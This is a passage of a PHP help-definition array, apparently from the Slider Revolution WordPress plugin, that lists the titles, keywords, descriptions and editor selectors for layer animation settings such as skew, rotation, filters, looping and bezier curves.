'#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_scale_y" ) ), 'skewx' => array( $t => __("skewX", 'revsliderhelp'), $h => "#frame#.chars.skewX, #frame#.words.skewX, #frame#.lines.skewX", $k => array("animation skew", "animation skewx", "skew x", "skewx", "skew"), $d => __("Skew/distort the Layer horizontally by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_skew_x" ) ), 'skewy' => array( $t => __("skewY", 'revsliderhelp'), $h => "#frame#.chars.skewY, #frame#.words.skewY, #frame#.lines.skewY", $k => array("animation skew", "animation skewy", "skew y", "skewy", "skew"), $d => __("Skew/distort the Layer vertically by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_skew_y" ) ) ), 'rotation' => array( 'rotationx' => array( $t => __("rotateX", 'revsliderhelp'), $h => "#frame#.chars.rotationX, #frame#.words.rotationX, #frame#.lines.rotationX", $k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"), $d => __("Rotate the Layer on its 'x' axis by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_rotate_x" ) ), 'rotationy' => array( $t => __("rotateY", 'revsliderhelp'), $h => "#frame#.chars.rotationY, #frame#.words.rotationY, #frame#.lines.rotationY", $k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"), $d => __("Rotate the Layer on its 'y' axis by this amount for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_rotate_y" ) ), 'rotation' => array( $t => __("2D Rotation", 'revsliderhelp'), $h => "#frame#.chars.rotationZ, #frame#.words.rotationZ, #frame#.lines.rotationZ", $k => array("animation rotation", "animation rotate", "rotate", "rotation", "2d", "2d rotation"), $d => __("The char/word/line 2D Rotation for the selected animation frame. Accepts positive and negative values.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#le_frame_chars_rotate_z" ) ) ), 'transform_origin' => array( 'originx' => array( $t => __("Transform Origin X", 'revsliderhelp'), $h => "#frame#.chars.originX, #frame#.words.originX, #frame#.lines.originX", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'x' axis for the char/word/line transform-origin applied to the selected animation frame.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.originX']" ) ), 'originy' => array( $t => __("Transform Origin Y", 'revsliderhelp'), $h => "#frame#.chars.originY, #frame#.words.originY, #frame#.lines.originY", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'y' axis for the char/word/line transform-origin applied to the selected animation frame.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.originY']" ) ), 'originz' => array( $t => __("Transform Origin Z", 'revsliderhelp'), $h => "#frame#.chars.originZ, #frame#.words.originZ, #frame#.lines.originZ", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'z' axis for the char/word/line transform-origin applied to the selected animation frame.", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.originZ']" ) ) ), 'filter_chars' => array( 'enable' => array( $di => "char_frame_filter", $t => __("Enable Filter Animation", 'revsliderhelp'), $h => "#frame#.chars.fuse", $k => array("animate filter", "filter animation", "filter", "filters"), $d => __("Animate the Char animation's blur, grayscale or brightness filter", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.fuse']" ) ), 'blur' => array( $t => __("Blur Filter", 'revsliderhelp'), $h => "#frame#.chars.blur", $k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"), $d => __("The blur filter value for the Chars animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#chars_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_char'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.fuse', $v => true, $o => 'char_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.blur']" ) ), 'grayscale' => array( $t => __("Grayscale", 'revsliderhelp'), $h => "#frame#.chars.grayscale", $k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"), $d => __("The grayscale filter value for the Chars animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_char'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.fuse', $v => true, $o => 'char_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.grayscale']" ) ), 'brightness' => array( $t => __("Brightness", 'revsliderhelp'), $h => "#frame#.chars.brightness", $k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"), $d => __("The brightness filter value for the Chars animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_char'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.fuse', $v => true, $o => 'char_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.chars.brightness']" ) ) ), 'filter_words' => array( 'enable' => array( $di => "word_frame_filter", $t => __("Enable Filter Animation", 'revsliderhelp'), $h => "#frame#.words.fuse", $k => array("animate filter", "filter animation", "filter", "filters"), $d => __("Animate the word animation's blur, grayscale or brightness filter", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#words_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.use', $v => true, $o => 'layer_frame_word') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.words.fuse']" ) ), 'blur' => array( $t => __("Blur Filter", 'revsliderhelp'), $h => "#frame#.words.blur", $k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"), $d => __("The blur filter value for the words animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#words_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_word'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.fuse', $v => true, $o => 'word_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.words.blur']" ) ), 'grayscale' => array( $t => __("Grayscale", 'revsliderhelp'), $h => "#frame#.words.grayscale", $k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"), $d => __("The grayscale filter value for the words animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_word'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.fuse', $v => true, $o => 'word_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.words.grayscale']" ) ), 'brightness' => array( $t => __("Brightness", 'revsliderhelp'), $h => "#frame#.words.brightness", $k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"), $d => __("The brightness filter value for the words animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_word'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.words.fuse', $v => true, $o => 'word_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.words.brightness']" ) ) ), 'filter_lines' => array( 'enable' => array( $di => "line_frame_filter", $t => __("Enable Filter Animation", 'revsliderhelp'), $h => "#frame#.lines.fuse", $k => array("animate filter", "filter animation", "filter", "filters"), $d => __("Animate the line animation's blur, grayscale or brightness filter", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#lines_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.use', $v => true, $o => 'layer_frame_line') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.lines.fuse']" ) ), 'blur' => array( $t => __("Blur Filter", 'revsliderhelp'), $h => "#frame#.lines.blur", $k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"), $d => __("The blur filter value for the lines animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#lines_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_line'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.fuse', $v => true, $o => 'line_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.lines.blur']" ) ), 'grayscale' => array( $t => __("Grayscale", 'revsliderhelp'), $h => "#frame#.lines.grayscale", $k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"), $d => __("The grayscale filter value for the lines animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_line'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.fuse', $v => true, $o => 'line_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.lines.grayscale']" ) ), 'brightness' => array( $t => __("Brightness", 'revsliderhelp'), $h => "#frame#.lines.brightness", $k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"), $d => __("The brightness filter value for the lines animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array( 'layerselected', '#filter_ts_wrapbrtn .transtarget_selector', array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_line'), array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.lines.fuse', $v => true, $o => 'line_frame_filter') ), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "*[data-r='#frame#.lines.brightness']" ) ) ) ) ), 'sfx' => array( $t => __("Special Effects", 'revsliderhelp'), $h => "#frame#.sfx.effect", $k => array("sfx", "special effects", "block animations", "block transitions"), $d => __("Choose a predefined special effect to use as the Layer's animation", 'revsliderhelp'), $a => $u . "layer-animations/#advanced-settings", $hl => array( $dp => array('layerselected', '#sfx_ts_wrapbrtn .transtarget_selector'), $m => "#module_layers_trigger, #gst_layer_4", $st => '#form_animation_sframes:nth-child(3)', $f => "#layer_frame_sfx" ) ) ), 'gst_layer_15' => array( 'timeline' => array( 'enable' => array( $di => "looping_timeline", $t => __("Loop Layer's Timeline", 'revsliderhelp'), $h => "timeline.tloop.use", $k => array("loop", "looping", "loop animation", "looping animation", "animation", "timeline", "loop timeline"), $d => __("Loop all or part of the Layer's timeline animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", $st => '#form_animation_sloop', $f => "*[data-r='timeline.tloop.use']" ) ), 'start_frame' => array( $t => __("Loop Start Frame", 'revsliderhelp'), $h => "timeline.tloop.from", $k => array("loop start", "start loop", "start loop animation", "start frame", "loop start frame", "loop", "timeline"), $d => __("Choose which point in the Layer's timeline it should begin from for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", $st => '#form_layer_loop_timeline', $f => "*[data-r='timeline.tloop.from']" ) ), 'end_frame' => array( $t => __("Loop End Frame", 'revsliderhelp'), $h => "timeline.tloop.to", $k => array("loop end", "end loop", "end loop animation", "end frame", "loop end frame", "loop", "timeline"), $d => __("Choose which point in the Layer's timeline it should play to before it animates again", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", $st => '#form_layer_loop_timeline', $f => "*[data-r='timeline.tloop.to']" ) ), 'loop_amount' => array( $t => __("Num Loops", 'revsliderhelp'), $h => "timeline.tloop.repeat", $k => array("loop timeline", "loop", "num loops", "loop amount", "timeline"), $d => __("The number of times the Layer's selected timeline should loop. Enter '-1' to loop continously throughout the life-cycle of the current Slide", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", $st => '#form_layer_loop_timeline', $f => "#la_timeline_loop_amnt" ) ), 'animate_to_start' => array( $t => __("Animate to Start", 'revsliderhelp'), $h => "timeline.tloop.keep", $k => array("loop timeline", "loop", "timeline", "animate to start"), $d => __("Animate the Layer back to its starting values in the loop once the last frame is reached. Useful for creating a more natural looping visual.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.tloop.use', $v => true, $o => 'looping_timeline') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-1 .ssmbtn", $st => '#form_layer_loop_timeline', $f => "*[data-r='timeline.tloop.keep']" ) ) ), 'effects' => array( 'enable' => array( $di => "layer_looping", $t => __("Add Loop Animation", 'revsliderhelp'), $h => "timeline.loop.use", $k => array("loop", "looping", "loop animation", "looping animation", "animation"), $d => __("Add a continuously looping animation to the Layer", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array('layerselected'), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#form_animation_sloop', $f => "*[data-r='timeline.loop.use']" ) ), 'start' => array( $t => __("Start Time", 'revsliderhelp'), $h => "timeline.loop.start", $k => array("loop start", "start loop", "start loop animation"), $d => __("Define when the loop animation should begin after the Slide is shown", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#form_layer_loop_effect', $f => "*[data-r='timeline.loop.start']" ) ), 'duration' => array( $t => __("Animation Duration", 'revsliderhelp'), $h => "timeline.loop.speed", $k => array("loop duration", "loop animation time"), $d => __("The amount of time each loop animation should occur before it begins again", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#form_layer_loop_effect', $f => "*[data-r='timeline.loop.speed']" ) ), 'easing' => array( $t => __("Animation Easing", 'revsliderhelp'), $h => "timeline.loop.ease", $k => array("loop easing", "loop animation easing"), $d => __("The easing equation to be used for the loop animation", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#form_layer_loop_effect', $f => "#le_frame_ease_loop" ) ), 'transform_origin' => array( 'originx' => array( $t => __("Transform Origin X", 'revsliderhelp'), $h => "timeline.loop.originX", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'x' axis for the Layer's transform-origin applied to the loop animation.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#form_layer_loop_effect', $f => "*[data-r='timeline.loop.originX']" ) ), 'originy' => array( $t => __("Transform Origin Y", 'revsliderhelp'), $h => "timeline.loop.originY", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'y' axis for the Layer's transform-origin applied to the loop animation.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#form_layer_loop_effect', $f => "*[data-r='timeline.loop.originY']" ) ), 'originz' => array( $t => __("Transform Origin Z", 'revsliderhelp'), $h => "timeline.loop.originZ", $k => array("animation origin", "animation originx", "transform origin", "transform-origin"), $d => __("The 'z' axis for the Layer's transform-origin applied to the loop animation.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#form_layer_loop_effect', $f => "*[data-r='timeline.loop.originZ']" ) ) ), 'move' => array( 'yoyo' => array( $t => __("Yoyo Movement", 'revsliderhelp'), $h => "timeline.loop.yoyo_move", $k => array("yoyo", "yoyo animation", "yoyo transition", "loop animation"), $d => __("Reverse the position as soon as the animation ends and vice versa", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.yoyo_move']" ) ), 'startx' => array( $t => __("Start X Position", 'revsliderhelp'), $h => "timeline.loop.frame_0.x", $k => array("animation position", "layer animation position", "animate left", "animate right", "translatex"), $d => __("The 'x' (left) position to apply at the start of the loop animation. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.x']" ) ), 'endx' => array( $t => __("End X Position", 'revsliderhelp'), $h => "timeline.loop.frame_999.x", $k => array("animation position", "layer animation position", "animate left", "animate right", "translatex"), $d => __("Animate the Layer to this 'x' (left) position. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.x']" ) ), 'starty' => array( $t => __("Start Y Position", 'revsliderhelp'), $h => "timeline.loop.frame_0.y", $k => array("animation position", "layer animation position", "animate top", "animate bottom", "translatey"), $d => __("The 'y' (top) position to apply at the start of the loop animation. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.y']" ) ), 'endy' => array( $t => __("End Y Position", 'revsliderhelp'), $h => "timeline.loop.frame_999.y", $k => array("animation position", "layer animation position", "animate top", "animate bottom", "translatey"), $d => __("Animate the Layer to this 'y' (top) position. Accepts positive and negative numbers.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.y']" ) ), 'startz' => array( $t => __("Start Z Position", 'revsliderhelp'), $h => "timeline.loop.frame_0.z", $k => array("animation depth", "animation z", "translatez", "3d"), $d => __("The CSS translateZ at the start of the loop animation. This adds/removes 3D depth to the Layer", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.z']" ) ), 'endz' => array( $t => __("End Z Position", 'revsliderhelp'), $h => "timeline.loop.frame_999.z", $k => array("animation depth", "animation z", "translatez", "3d"), $d => __("Animate the Layer's CSS translateZ property to this value. This adds/removes 3D depth to the Layer", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_999.z']" ) ), 'curved' => array( 'enable' => array( $di => "layer_loop_move_curved", $t => __("Add a Bezier Curve", 'revsliderhelp'), $h => "timeline.loop.curved", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Adds a middle point to the movement between the starting and ending points", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]' ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.curved']" ) ), 'auto_rotate' => array( $t => __("Auto Rotate Bezier", 'revsliderhelp'), $h => "timeline.loop.autoRotate", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Automatically rotate the Layer according to its position along the Bezier path", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.autoRotate']" ) ), 'angle' => array( $t => __("Bezier Curve Angle", 'revsliderhelp'), $h => "timeline.loop.radiusAngle", $k => array("curved", "curved animation", "bezier", "bezier curve", "curve angle", "angle"), $d => __("Represents the curve's placement in the animation. Lower degrees will place the curve toward the beginning, and higher degrees toward the end.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "#le_loop_startangle" ) ), 'tension' => array( $t => __("Bezier Curve Tension", 'revsliderhelp'), $h => "timeline.loop.curviness", $k => array("curved", "curved animation", "bezier", "bezier curve", "curve angle", "tension"), $d => __("Magnify the curve by this value. 1 = no magnification. 2 = twice the curve, etc.", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.curviness']" ) ), 'bezier_x_start' => array( $t => __("Bezier Start Point X", 'revsliderhelp'), $h => "timeline.loop.frame_0.xr", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Represents the starting 'x' (left) position for the bezier curve", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v => true, $o => 'layer_looping'), '*[data-showloop="#loop_move_settings"]', array($p => '#slide#.layers.#layer#.timeline.loop.curved', $v => true, $o => 'layer_loop_move_curved') ), $m => "#module_layers_trigger, #gst_layer_15, #la_looping-tab-2 .ssmbtn", $st => '#layer_loop_settings .loop_wrapbrtn', $f => "*[data-r='timeline.loop.frame_0.xr']" ) ), 'bezier_x_end' => array( $t => __("Bezier End Point X", 'revsliderhelp'), $h => "timeline.loop.frame_999.xr", $k => array("curved", "curved animation", "bezier", "bezier curve"), $d => __("Represents the ending 'x' (left) position for the bezier curve", 'revsliderhelp'), $a => $u . "looping-animations/", $hl => array( $dp => array( 'layerselected', array($p => '#slide#.layers.#layer#.timeline.loop.use', $v 